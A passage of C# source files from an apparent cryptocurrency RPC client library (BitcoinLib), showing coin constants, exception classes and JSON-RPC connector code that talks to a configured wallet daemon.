10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 34560;
11 | public readonly uint OneDashInDuffs = 100000000;
12 | public readonly decimal OneDuffInDash = 0.00000001M;
13 | public readonly decimal OneMicrodashInDash = 0.000001M;
14 | public readonly decimal OneMillidashInDash = 0.001M;
15 | public readonly string Symbol = "DASH";
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Dash/IDashConstants.cs:
--------------------------------------------------------------------------------
1 | namespace BitcoinLib.CoinParameters.Dash
2 | {
3 | public interface IDashConstants
4 | {
5 | DashConstants.Constants Constants { get; }
6 | }
7 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Dogecoin/DogecoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.CoinParameters.Base;
5 |
6 | namespace BitcoinLib.CoinParameters.Dogecoin
7 | {
8 | public static class DogecoinConstants
9 | {
10 | public sealed class Constants : CoinConstants
11 | {
12 | public readonly ushort CoinReleaseHalfsEveryXInYears = 4;
13 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 2016;
14 | public readonly uint OneDogecoinInKoinus = 100000000;
15 | public readonly decimal OneKoinuInXDG = 0.00000001M;
16 | public readonly decimal OneMicrocoinInXDG = 0.000001M;
17 | public readonly decimal OneMillicoinInXDG = 0.001M;
18 | public readonly string Symbol = "Ð";
19 | }
20 | }
21 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Dogecoin/IDogecoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | namespace BitcoinLib.CoinParameters.Dogecoin
5 | {
6 | public interface IDogecoinConstants
7 | {
8 | DogecoinConstants.Constants Constants { get; }
9 | }
10 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Litecoin/ILitecoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | namespace BitcoinLib.CoinParameters.Litecoin
5 | {
6 | public interface ILitecoinConstants
7 | {
8 | LitecoinConstants.Constants Constants { get; }
9 | }
10 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Litecoin/LitecoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.CoinParameters.Base;
5 |
6 | namespace BitcoinLib.CoinParameters.Litecoin
7 | {
8 | public static class LitecoinConstants
9 | {
10 | public sealed class Constants : CoinConstants
11 | {
12 | public readonly ushort CoinReleaseHalfsEveryXInYears = 4;
13 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 2016;
14 | public readonly uint OneLitecoinInLitetoshis = 100000000;
15 | public readonly decimal OneLitetoshiInLTC = 0.00000001M;
16 | public readonly decimal OneMicrocoinInLTC = 0.000001M;
17 | public readonly decimal OneMillicoinInLTC = 0.001M;
18 | public readonly string Symbol = "Ł";
19 | }
20 | }
21 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Mogwaicoin/IMogwaicoinConstants.cs:
--------------------------------------------------------------------------------
1 | namespace BitcoinLib.CoinParameters.Mogwaicoin
2 | {
3 | public interface IMogwaicoinConstants
4 | {
5 | MogwaicoinConstants.Constants Constants { get; }
6 | }
7 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Mogwaicoin/MogwaicoinConstants.cs:
--------------------------------------------------------------------------------
1 | using BitcoinLib.CoinParameters.Base;
2 |
3 | namespace BitcoinLib.CoinParameters.Mogwaicoin
4 | {
5 | public static class MogwaicoinConstants
6 | {
7 | public sealed class Constants : CoinConstants
8 | {
9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 7;
10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 34560;
11 | public readonly uint OneDashInDuffs = 100000000;
12 | public readonly decimal OneDuffInDash = 0.00000001M;
13 | public readonly decimal OneMicrodashInDash = 0.000001M;
14 | public readonly decimal OneMillidashInDash = 0.001M;
15 | public readonly string Symbol = "MOG";
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Smartcash/ISmartcashConstants.cs:
--------------------------------------------------------------------------------
1 | namespace BitcoinLib.CoinParameters.Smartcash
2 | {
3 | public interface ISmartcashConstants
4 | {
5 | SmartcashConstants.Constants Constants { get; }
6 | }
7 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Smartcash/SmartcashConstants.cs:
--------------------------------------------------------------------------------
1 | using BitcoinLib.CoinParameters.Base;
2 |
3 | namespace BitcoinLib.CoinParameters.Smartcash
4 | {
5 | public static class SmartcashConstants
6 | {
7 | public sealed class Constants : CoinConstants
8 | {
9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 4;
10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 2016;
11 | public readonly uint OneSmartInSmartoshis = 100000000;
12 | public readonly decimal OneSmartoshisInSmart = 0.00000001M;
13 | public readonly decimal OneMicrosmartInSmart = 0.000001M;
14 | public readonly decimal OneMillismartInSmart = 0.001M;
15 | public readonly string Symbol = "SMART";
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/RawTransactions/RawTransactionExcessiveFeeException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExceptionHandling.RawTransactions
7 | {
8 | [Serializable]
9 | public class RawTransactionExcessiveFeeException : Exception
10 | {
11 | public RawTransactionExcessiveFeeException() : base("Fee in raw transaction is greater than specified amount.")
12 | {
13 | }
14 |
15 | public RawTransactionExcessiveFeeException(decimal maxSpecifiedFee) : base($"Fee in raw transaction is greater than specified amount of {maxSpecifiedFee}.")
16 | {
17 | }
18 |
19 | public RawTransactionExcessiveFeeException(decimal actualFee, decimal maxSpecifiedFee) : base($"Fee of {actualFee} in raw transaction is greater than specified amount of {maxSpecifiedFee}.")
20 | {
21 | }
22 |
23 | public RawTransactionExcessiveFeeException(string message) : base(message)
24 | {
25 | }
26 |
27 | public RawTransactionExcessiveFeeException(string message, Exception innerException) : base(message, innerException)
28 | {
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/RawTransactions/RawTransactionInvalidAmountException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExceptionHandling.RawTransactions
7 | {
8 | [Serializable]
9 | public class RawTransactionInvalidAmountException : Exception
10 | {
11 | public RawTransactionInvalidAmountException() : base("Raw Transaction amount is invalid.")
12 | {
13 | }
14 |
15 | public RawTransactionInvalidAmountException(string message) : base(message)
16 | {
17 | }
18 |
19 | public RawTransactionInvalidAmountException(string message, Exception innerException) : base(message, innerException)
20 | {
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/Rpc/RpcException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExceptionHandling.Rpc
7 | {
8 | [Serializable]
9 | public class RpcException : Exception
10 | {
11 | public RpcException()
12 | {
13 | }
14 |
15 | public RpcException(string customMessage) : base(customMessage)
16 | {
17 | }
18 |
19 | public RpcException(string customMessage, Exception exception) : base(customMessage, exception)
20 | {
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/Rpc/RpcInternalServerErrorException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 | using System.Runtime.Serialization;
6 | using BitcoinLib.RPC.Specifications;
7 |
8 | namespace BitcoinLib.ExceptionHandling.Rpc
9 | {
10 | [Serializable]
11 | public class RpcInternalServerErrorException : Exception
12 | {
13 | public RpcInternalServerErrorException()
14 | {
15 | }
16 |
17 | public RpcInternalServerErrorException(string customMessage) : base(customMessage)
18 | {
19 | }
20 |
21 | public RpcInternalServerErrorException(string customMessage, Exception exception) : base(customMessage, exception)
22 | {
23 | }
24 |
25 | public RpcErrorCode? RpcErrorCode { get; set; }
26 |
27 | public override void GetObjectData(SerializationInfo info, StreamingContext context)
28 | {
29 | if (info == null)
30 | {
31 | throw new ArgumentNullException("info");
32 | }
33 |
34 | info.AddValue("RpcErrorCode", RpcErrorCode, typeof(RpcErrorCode));
35 | base.GetObjectData(info, context);
36 | }
37 | }
38 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/Rpc/RpcRequestTimeoutException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExceptionHandling.Rpc
7 | {
8 | [Serializable]
9 | public class RpcRequestTimeoutException : Exception
10 | {
11 | public RpcRequestTimeoutException()
12 | {
13 | }
14 |
15 | public RpcRequestTimeoutException(string customMessage) : base(customMessage)
16 | {
17 | }
18 |
19 | public RpcRequestTimeoutException(string customMessage, Exception exception) : base(customMessage, exception)
20 | {
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/Rpc/RpcResponseDeserializationException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExceptionHandling.Rpc
7 | {
8 | [Serializable]
9 | public class RpcResponseDeserializationException : Exception
10 | {
11 | public RpcResponseDeserializationException()
12 | {
13 | }
14 |
15 | public RpcResponseDeserializationException(string customMessage) : base(customMessage)
16 | {
17 | }
18 |
19 | public RpcResponseDeserializationException(string customMessage, Exception exception) : base(customMessage, exception)
20 | {
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExceptionHandling/RpcExtenderService/GetAddressBalanceException.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExceptionHandling.RpcExtenderService
7 | {
8 | [Serializable]
9 | public class GetAddressBalanceException : Exception
10 | {
11 | public GetAddressBalanceException()
12 | {
13 | }
14 |
15 | public GetAddressBalanceException(string customMessage) : base(customMessage)
16 | {
17 | }
18 |
19 | public GetAddressBalanceException(string customMessage, Exception exception) : base(customMessage, exception)
20 | {
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExtensionMethods/CoinServiceExtensionMethods.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.Services.Coins.Base;
5 |
6 | namespace BitcoinLib.ExtensionMethods
7 | {
8 | public static class CoinServiceExtensionMethods
9 | {
10 | public static void SwitchNetworks(this ICoinService coinService)
11 | {
12 | coinService.Parameters.UseTestnet = !coinService.Parameters.UseTestnet;
13 | }
14 | }
15 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/ExtensionMethods/DecimalExtensionMethods.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.ExtensionMethods
7 | {
8 | public static class DecimalExtensionMethods
9 | {
10 | public static ushort GetNumberOfDecimalPlaces(this decimal number)
11 | {
12 | return BitConverter.GetBytes(decimal.GetBits(number)[3])[2];
13 | }
14 | }
15 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/RPC/Connector/IRpcConnector.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.RPC.Specifications;
5 |
6 | namespace BitcoinLib.RPC.Connector
7 | {
8 | public interface IRpcConnector
9 | {
10 | T MakeRequest(RpcMethods method, params object[] parameters);
11 | }
12 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/RPC/Connector/RawRpcConnector.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 | using System.IO;
6 | using System.Net;
7 | using System.Text;
8 | using BitcoinLib.Services.Coins.Base;
9 |
10 | namespace BitcoinLib.RPC.Connector
11 | {
12 | // This class is disconnected from the core logic and its sole purpose is to serve as a quick and dirty means of debugging
13 | public static class RawRpcConnector
14 | {
15 | // Usage example: String networkDifficultyJsonResult = RawRpcConnector.MakeRequest("{\"method\":\"getdifficulty\",\"params\":[],\"id\":1}", "http://127.0.0.1:8332/", "MyRpcUsername", "MyRpcPassword");
16 | public static string MakeRequest(string jsonRequest, string daemonUrl, string rpcUsername, string rpcPassword)
17 | {
18 | try
19 | {
20 | var tempCookies = new CookieContainer();
21 | var encoding = new ASCIIEncoding();
22 | var byteData = encoding.GetBytes(jsonRequest);
23 | var postReq = (HttpWebRequest) WebRequest.Create(daemonUrl);
24 | postReq.Credentials = new NetworkCredential(rpcUsername, rpcPassword);
25 | postReq.Method = "POST";
26 | postReq.KeepAlive = true;
27 | postReq.CookieContainer = tempCookies;
28 | postReq.ContentType = "application/json";
29 | postReq.ContentLength = byteData.Length;
30 | var postreqstream = postReq.GetRequestStream();
31 | postreqstream.Write(byteData, 0, byteData.Length);
32 | postreqstream.Close();
33 | var postresponse = (HttpWebResponse) postReq.GetResponse();
34 | var postreqreader = new StreamReader(postresponse.GetResponseStream());
35 | return postreqreader.ReadToEnd();
36 | }
37 | catch (Exception exception)
38 | {
39 | return exception.ToString();
40 | }
41 | }
42 |
43 | // Usage example: String networkDifficultyJsonResult = RawRpcConnector.MakeRequest("{\"method\":\"getdifficulty\",\"params\":[],\"id\":1}", new BitcoinService());
44 | public static string MakeRequest(string jsonRequest, ICoinService coinService)
45 | {
46 | return MakeRequest(jsonRequest, coinService.Parameters.SelectedDaemonUrl, coinService.Parameters.RpcUsername, coinService.Parameters.RpcPassword);
47 | }
48 | }
49 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/RPC/Connector/RpcConnector.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 | using System.IO;
6 | using System.Linq;
7 | using System.Net;
8 | using System.Text;
9 | using BitcoinLib.Auxiliary;
10 | using BitcoinLib.ExceptionHandling.Rpc;
11 | using BitcoinLib.RPC.RequestResponse;
12 | using BitcoinLib.RPC.Specifications;
13 | using BitcoinLib.Services.Coins.Base;
14 | using Newtonsoft.Json;
15 |
16 | namespace BitcoinLib.RPC.Connector
17 | {
18 | public sealed class RpcConnector : IRpcConnector
19 | {
20 | private readonly ICoinService _coinService;
21 |
22 | public RpcConnector(ICoinService coinService)
23 | {
24 | _coinService = coinService;
25 | }
26 |
27 | public T MakeRequest(RpcMethods rpcMethod, params object[] parameters)
28 | {
29 | var jsonRpcRequest = new JsonRpcRequest(1, rpcMethod.ToString(), parameters);
30 | var webRequest = (HttpWebRequest) WebRequest.Create(_coinService.Parameters.SelectedDaemonUrl);
31 | SetBasicAuthHeader(webRequest, _coinService.Parameters.RpcUsername, _coinService.Parameters.RpcPassword);
32 | webRequest.Credentials = new NetworkCredential(_coinService.Parameters.RpcUsername, _coinService.Parameters.RpcPassword);
33 | webRequest.ContentType = "application/json-rpc";
34 | webRequest.Method = "POST";
35 | webRequest.Proxy = null;
36 | webRequest.Timeout = _coinService.Parameters.RpcRequestTimeoutInSeconds * GlobalConstants.MillisecondsInASecond;
37 | var byteArray = jsonRpcRequest.GetBytes();
38 | webRequest.ContentLength = jsonRpcRequest.GetBytes().Length;
39 |
40 | try
41 | {
42 | using (var dataStream = webRequest.GetRequestStream())
43 | {
44 | dataStream.Write(byteArray, 0, byteArray.Length);
45 | dataStream.Dispose();
46 | }
47 | }
48 | catch (Exception exception)
49 | {
50 | throw new RpcException("There was a problem sending the request to the wallet", exception);
51 | }
52 |
53 | try
54 | {
55 | string json;
56 |
57 | using (var webResponse = webRequest.GetResponse())
58 | {
59 | using (var stream = webResponse.GetResponseStream())
60 | {
61 | using (var reader = new StreamReader(stream))
62 | {
63 | var result = reader.ReadToEnd();
64 | reader.Dispose();
65 | json = result;
66 | }
67 | }
68 | }
69 |
70 | var rpcResponse = JsonConvert.DeserializeObject>(json);
71 | return rpcResponse.Result;
72 | }
73 | catch (WebException webException)
74 | {
75 | #region RPC Internal Server Error (with an Error Code)
76 |
77 | var webResponse = webException.Response as HttpWebResponse;
78 |
79 | if (webResponse != null)
80 | {
81 | switch (webResponse.StatusCode)
82 | {
83 | case HttpStatusCode.InternalServerError:
84 | {
85 | using (var stream = webResponse.GetResponseStream())
86 | {
87 | if (stream == null)
88 | {
89 | throw new RpcException("The RPC request was either not understood by the server or there was a problem executing the request", webException);
90 | }
91 |
92 | using (var reader = new StreamReader(stream))
93 | {
94 | var result = reader.ReadToEnd();
95 | reader.Dispose();
96 |
97 | try
98 | {
99 | var jsonRpcResponseObject = JsonConvert.DeserializeObject>(result);
100 |
101 | var internalServerErrorException = new RpcInternalServerErrorException(jsonRpcResponseObject.Error.Message, webException)
102 | {
103 | RpcErrorCode = jsonRpcResponseObject.Error.Code
104 | };
105 |
106 | throw internalServerErrorException;
107 | }
108 | catch (JsonException)
109 | {
110 | throw new RpcException(result, webException);
111 | }
112 | }
113 | }
114 | }
115 |
116 | default:
117 | throw new RpcException("The RPC request was either not understood by the server or there was a problem executing the request", webException);
118 | }
119 | }
120 |
121 | #endregion
122 |
123 | #region RPC Time-Out
124 |
125 | if (webException.Message == "The operation has timed out")
126 | {
127 | throw new RpcRequestTimeoutException(webException.Message);
128 | }
129 |
130 | #endregion
131 |
132 | throw new RpcException("An unknown web exception occured while trying to read the JSON response", webException);
133 | }
134 | catch (JsonException jsonException)
135 | {
136 | throw new RpcResponseDeserializationException("There was a problem deserializing the response from the wallet", jsonException);
137 | }
138 | catch (ProtocolViolationException protocolViolationException)
139 | {
140 | throw new RpcException("Unable to connect to the server", protocolViolationException);
141 | }
142 | catch (Exception exception)
143 | {
144 | var queryParameters = jsonRpcRequest.Parameters.Cast().Aggregate(string.Empty, (current, parameter) => current + (parameter + " "));
145 | throw new Exception($"A problem was encountered while calling MakeRpcRequest() for: {jsonRpcRequest.Method} with parameters: {queryParameters}. \nException: {exception.Message}");
146 | }
147 | }
148 |
149 | private static void SetBasicAuthHeader(WebRequest webRequest, string username, string password)
150 | {
151 | var authInfo = username + ":" + password;
152 | authInfo = Convert.ToBase64String(Encoding.Default.GetBytes(authInfo));
153 | webRequest.Headers["Authorization"] = "Basic " + authInfo;
154 | }
155 | }
156 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/RPC/RequestResponse/JsonRpcError.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.RPC.Specifications;
5 | using Newtonsoft.Json;
6 |
7 | namespace BitcoinLib.RPC.RequestResponse
8 | {
9 | public class JsonRpcError
10 | {
11 | [JsonProperty(PropertyName = "code")]
12 | public RpcErrorCode Code { get; set; }
13 |
14 | [JsonProperty(PropertyName = "message")]
15 | public string Message { get; set; }
16 | }
17 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/RPC/RequestResponse/JsonRpcRequest.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Text;
7 | using Newtonsoft.Json;
8 |
9 | namespace BitcoinLib.RPC.RequestResponse
10 | {
11 | public class JsonRpcRequest
12 | {
13 | public JsonRpcRequest(int id, string method, params object[] parameters)
14 | {
15 | Id = id;
16 | Method = method;
17 | Parameters = parameters?.ToList() ?? new List